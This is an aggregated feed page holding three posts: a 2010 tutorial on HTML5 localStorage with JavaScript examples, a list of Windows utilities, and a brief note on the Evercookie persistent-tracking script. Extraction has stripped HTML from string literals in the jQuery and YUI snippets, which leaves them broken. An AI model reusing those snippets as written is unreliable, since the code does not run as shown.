This is why, as a developer, you need to store the state of your interface somewhere. Normally, this is done server-side, and you would check the user name to know which state to revert to. But what if you don’t want to force people to sign up?

This is where local storage comes in. You would keep a key on the user’s computer and read it out when the user returns.

C Is For Cookie. Is That Good Enough For Me?

The classic way to do this is by using a cookie. A cookie is a text file hosted on the user’s computer and connected to the domain that your website runs on. You can store information in them, read them out and delete them. Cookies have a few limitations though:

  • They add to the load of every document accessed on the domain.
  • They allow up to only 4 KB of data storage.
  • Because cookies have been used to spy on people’s surfing behavior, security-conscious people and companies turn them off or request to be asked every time whether a cookie should be set.

To work around the issue of local storage — with cookies being a rather dated solution to the problem — the WHATWG and W3C came up with a few local storage specs, which were originally a part of HTML5 but then put aside because HTML5 was already big enough.

Using Local Storage In HTML5-Capable Browsers

Using local storage in modern browsers is ridiculously easy. All you have to do is modify the localStorage object in JavaScript. You can do that directly or (and this is probably cleaner) use the setItem() and getItem() method:

localStorage.setItem('favoriteflavor','vanilla');

If you read out the favoriteflavor key, you will get back “vanilla”:

var taste = localStorage.getItem('favoriteflavor');
// -> "vanilla"

To remove the item, you can use — can you guess? — the removeItem() method:

localStorage.removeItem('favoriteflavor');
var taste = localStorage.getItem('favoriteflavor');
// -> null

That’s it! You can also use sessionStorage instead of localStorage if you want the data to be maintained only until the browser window closes.

Working Around The “Strings Only” Issue

One annoying shortcoming of local storage is that you can only store strings in the different keys. This means that when you have an object, it will not be stored the right way.

You can see this when you try the following code:

var car = {};
car.wheels = 4;
car.doors = 2;
car.sound = 'vroom';
car.name = 'Lightning McQueen';
console.log( car );
localStorage.setItem( 'car', car );
console.log( localStorage.getItem( 'car' ) );

Trying this out in the console shows that the data is stored as [object Object] and not the real object information:

Console-e1285930679229 in Local Storage And How To Use It On Websites

You can work around this by using the native JSON.stringify() and JSON.parse() methods:

var car = {};
car.wheels = 4;
car.doors = 2;
car.sound = 'vroom';
car.name = 'Lightning McQueen';
console.log( car );
localStorage.setItem( 'car', JSON.stringify(car) );
console.log( JSON.parse( localStorage.getItem( 'car' ) ) );

Console2-e1285930703974 in Local Storage And How To Use It On Websites

Where To Find Local Storage Data And How To Remove It

During development, you might sometimes get stuck and wonder what is going on. Of course, you can always access the data using the right methods, but sometimes you just want to clear the plate. In Opera, you can do this by going to Preferences → Advanced → Storage, where you will see which domains have local data and how much:

Storage-opera in Local Storage And How To Use It On Websites
Large view

Doing this in Chrome is a bit more problematic, which is why we made a screencast:

Mozilla has no menu access so far, but will in future. For now, you can go to the Firebug console and delete storage manually easily enough.

So, that’s how you use local storage. But what can you use it for?

Use Case #1: Local Storage Of Web Service Data

One of the first uses for local storage that I discovered was caching data from the Web when it takes a long time to get it. My World Info entry for the Event Apart 10K challenge shows what I mean by that.

When you call the demo the first time, you have to wait up to 20 seconds to load the names and geographical locations of all the countries in the world from the Yahoo GeoPlanet Web service. If you call the demo a second time, there is no waiting whatsoever because — you guessed it — I’ve cached it on your computer using local storage.

The following code (which uses jQuery) provides the main functionality for this. If local storage is supported and there is a key called thewholefrigginworld, then call the render() method, which displays the information. Otherwise, show a loading message and make the call to the Geo API using getJSON(). Once the data has loaded, store it in thewholefrigginworld and call render() with the same data:

if(localStorage && localStorage.getItem('thewholefrigginworld')){
  render(JSON.parse(localStorage.getItem('thewholefrigginworld')));
} else {
  $('#list').html('

'+loading+' '); var query = 'select centroid,woeid,name,boundingBox'+ ' from geo.places.children(0)'+ ' where parent_woeid=1 and placetype="country"'+ ' | sort(field="name")'; var YQL = 'http://query.yahooapis.com/v1/public/yql?q='+ encodeURIComponent(query)+'&diagnostics=false&format=json'; $.getJSON(YQL,function(data){ if(localStorage){ localStorage.setItem('thewholefrigginworld',JSON.stringify(data)); } render(data); }); }

You can see the difference in loading times in the following screencast:

The code for the world info is available on GitHub.

This can be extremely powerful. If a Web service allows you only a certain number of calls per hour but the data doesn’t change all that often, you could store the information in local storage and thus keep users from using up your quota. A photo badge, for example, could pull new images every six hours, rather than every minute.

This is very common when using Web services server-side. Local caching keeps you from being banned from services, and it also means that when a call to the API fails for some reason, you will still have information to display.

getJSON() in jQuery is especially egregious in accessing services and breaking their cache, as explained in this blog post from the YQL team. Because the request to the service using getJSON() creates a unique URL every time, the service does not deliver its cached version but rather fully accesses the system and databases every time you read data from it. This is not efficient, which is why you should cache locally and use ajax() instead.

Use Case #2: Maintaining The State Of An Interface The Simple Way

Another use case is to store the state of interfaces. This could be as crude as storing the entire HTML or as clever as maintaining an object with the state of all of your widgets. One instance where I am using local storage to cache the HTML of an interface is the Yahoo Firehose research interface (source on GitHub):

The code is very simple — using YUI3 and a test for local storage around the local storage call:

YUI().use('node', function(Y) {
  if(('localStorage' in window) && window['localStorage'] !== null){
    var key = 'lastyahoofirehose';
  
    localStorage.setItem(key,Y.one('form').get('innerHTML'));
  
  if(key in localStorage){
      Y.one('#mainform').set('innerHTML',localStorage.getItem(key));
      Y.one('#hd').append('

Notice: We restored your last search for you - not live data'); } } });

You don’t need YUI at all; it only makes it easier. The logic to generically cache interfaces in local storage is always the same: check if a “Submit” button has been activated (in PHP, Python, Ruby or whatever) and, if so, store the innerHTML of the entire form; otherwise, just read from local storage and override the innerHTML of the form.

The Dark Side Of Local Storage

Of course, any powerful technology comes with the danger of people abusing it for darker purposes. Samy, the man behind the “Samy is my hero” MySpace worm, recently released a rather scary demo called Evercookie, which shows how to exploit all kind of techniques, including local storage, to store information of a user on their computer even when cookies are turned off. This code could be used in all kinds of ways, and to date there is no way around it.

Research like this shows that we need to look at HTML5′s features and add-ons from a security perspective very soon to make sure that people can’t record user actions and information without the user’s knowledge. An opt-in for local storage, much like you have to opt in to share your geographic location, might be in order; but from a UX perspective this is considered clunky and intrusive. Got any good ideas?

(al)


© Christian Heilmann for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: Coding, localstorage, performance, programming, security

September 30 2010

17:39

The Lesser Known (But Very Cool) Windows Apps You Might Be Looking For

There are many Microsoft Windows apps out there, but getting by free and good ones is not that easy. That is why I am sharing The Lesser Known (But Very Cool) Windows Apps You Might Be Looking For. Read each entry in the list and see which tool suits your needs best.

You are welcome if you want to share more Mac OS X Apps that our readers/viewers may like. Do you want to be the first one to know the latest happenings at  SmashingApps.com, just subscribe to our rss feed and you can follow us on twitter and follow us on Digg as well to get updated.

DriveImage

DriveImage XML is an easy to use and reliable program for imaging and backing up partitions and logical drives.  Image creation uses Microsoft’s Volume Shadow Services (VSS), allowing you to create safe “hot images” even from drives currently in use. Images are stored in XML files, allowing you to process them with 3rd party tools.

Rightload

Rightload is a small program that allows you to quickly upload files directly from a Windows folder to your server. Instead of using complicated software just to upload a few pictures, you just right-click on the files, select the server and target folder and Rightload will do the rest for you. Rightload supports Facebook, Flickr, Tinypic and Imageshack as well as FTP and HTTP servers.

Recuva

Accidentally deleted an important file? Lost something important when your computer crashed? No problem! Recuva recovers files deleted from your Windows computer, Recycle Bin, digital camera card, or MP3 player. Even if you’ve formatted a drive so that it looks blank, Recuva can still find your files on it.

AxCrypt

AxCrypt is free and easy to use open source strong file encryption for Windows 2000/2003/XP/Vista/2008/7, integrated with Windows Explorer. You can encrypt, compress, decrypt, wipe, view and edit with a few mouse clicks.

SyncBack Freeware

SyncBack is a freeware program that helps you easily backup and synchronize your files to: the same drive; a different drive or medium (CDRW, CompactFlash, etc); an FTP server; a Network; or a Zip archive.

ADRC Data Recovery Tool

ADRC Data Recovery Software Tools contains a collection of DIY data recovery tools that supports a wide variety of drives and file systems. The software incorporates extremely simple GUI with novice users in mind. The software zooms in to do only critical recovery functions with minimum complexity so one could recover the data easily. It gives you full control to undelete files, disk image back up, restore a backup image, copy files from hard disk with bad sectors, disk cloning, backup, edit and restore your boot parameters.

Fences

Fences is a program that helps you organize your desktop, and can hide your icons when they’re not in use. A “Fence”, a term coined by this program, is an icon group on your desktop. Fences is an add-on to your desktop, not a replacement.

September 22 2010

19:59

Evercookie – using a lot of solutions to force a persistent cookie

delete cookies?Samy has put together an impressive solution to store persistent cookies on user’s computers even when they have cookies disabled. The Evercookie script reaches deep into the toolbox to fish out some very interesting and devious tricks for local storage:

TODO: adding support for:

Pretty impressive. The only thing working around it is NOSCRIPT.

Older posts are this way If this message doesn't go away, click anywhere on the page to continue loading posts.
Could not load more posts
Maybe Soup is currently being updated? I'll try again automatically in a few seconds...
Just a second, loading more posts...
You've reached the end.
(PRO)
No Soup for you

Don't be the product, buy the product!

close
YES, I want to SOUP ●UP for ...